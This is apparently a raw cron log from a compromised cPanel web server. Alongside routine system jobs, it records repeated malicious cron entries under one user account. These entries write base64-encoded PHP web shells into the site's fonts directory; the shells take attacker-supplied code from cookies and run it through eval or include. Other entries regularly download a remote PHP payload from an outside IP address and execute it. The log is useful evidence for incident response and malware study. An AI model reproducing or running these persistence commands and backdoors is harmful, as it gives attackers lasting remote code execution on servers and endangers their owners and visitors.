Sep 11 06:57:01 ip-184-168-122-23 CROND[20970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:57:01 ip-184-168-122-23 CROND[20972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:58:01 ip-184-168-122-23 CROND[21151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:58:01 ip-184-168-122-23 CROND[21153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:58:01 ip-184-168-122-23 CROND[21156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:58:01 ip-184-168-122-23 CROND[21154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:58:01 ip-184-168-122-23 CROND[21155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:59:01 ip-184-168-122-23 CROND[21276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:59:02 ip-184-168-122-23 CROND[21278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:59:02 ip-184-168-122-23 CROND[21282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:59:02 ip-184-168-122-23 CROND[21280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:00:01 ip-184-168-122-23 CROND[21374]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:00:01 ip-184-168-122-23 CROND[21377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:00:01 ip-184-168-122-23 CROND[21378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:00:01 ip-184-168-122-23 CROND[21379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:00:01 ip-184-168-122-23 CROND[21381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:00:01 ip-184-168-122-23 CROND[21382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:00:01 ip-184-168-122-23 CROND[21387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:00:01 ip-184-168-122-23 CROND[21384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:01:01 ip-184-168-122-23 CROND[21514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:01:01 ip-184-168-122-23 CROND[21515]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 07:01:01 ip-184-168-122-23 CROND[21517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:01:01 ip-184-168-122-23 CROND[21522]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21515]: starting 0anacron
Sep 11 07:01:01 ip-184-168-122-23 CROND[21525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:01:01 ip-184-168-122-23 CROND[21523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21536]: finished 0anacron
Sep 11 07:02:01 ip-184-168-122-23 CROND[21644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:02:01 ip-184-168-122-23 CROND[21646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:02:01 ip-184-168-122-23 CROND[21647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:02:01 ip-184-168-122-23 CROND[21648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:02:01 ip-184-168-122-23 CROND[21649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:03:02 ip-184-168-122-23 CROND[21769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:03:02 ip-184-168-122-23 CROND[21770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:03:02 ip-184-168-122-23 CROND[21772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:03:02 ip-184-168-122-23 CROND[21773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:04:01 ip-184-168-122-23 CROND[21958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:04:01 ip-184-168-122-23 CROND[21959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:04:01 ip-184-168-122-23 CROND[21963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:04:01 ip-184-168-122-23 CROND[21960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:04:01 ip-184-168-122-23 CROND[21961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:05:01 ip-184-168-122-23 CROND[22089]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:05:01 ip-184-168-122-23 CROND[22094]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:05:01 ip-184-168-122-23 CROND[22095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:05:01 ip-184-168-122-23 CROND[22096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:05:01 ip-184-168-122-23 CROND[22091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:05:01 ip-184-168-122-23 CROND[22093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:05:01 ip-184-168-122-23 CROND[22092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:06:01 ip-184-168-122-23 CROND[22196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:06:01 ip-184-168-122-23 CROND[22198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:06:01 ip-184-168-122-23 CROND[22199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:06:01 ip-184-168-122-23 CROND[22200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:06:01 ip-184-168-122-23 CROND[22201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:07:01 ip-184-168-122-23 CROND[22338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:07:01 ip-184-168-122-23 CROND[22340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:07:01 ip-184-168-122-23 CROND[22341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:07:01 ip-184-168-122-23 CROND[22345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:08:01 ip-184-168-122-23 CROND[22455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:08:01 ip-184-168-122-23 CROND[22457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:08:01 ip-184-168-122-23 CROND[22459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:08:01 ip-184-168-122-23 CROND[22458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:08:01 ip-184-168-122-23 CROND[22460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:09:02 ip-184-168-122-23 CROND[22672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
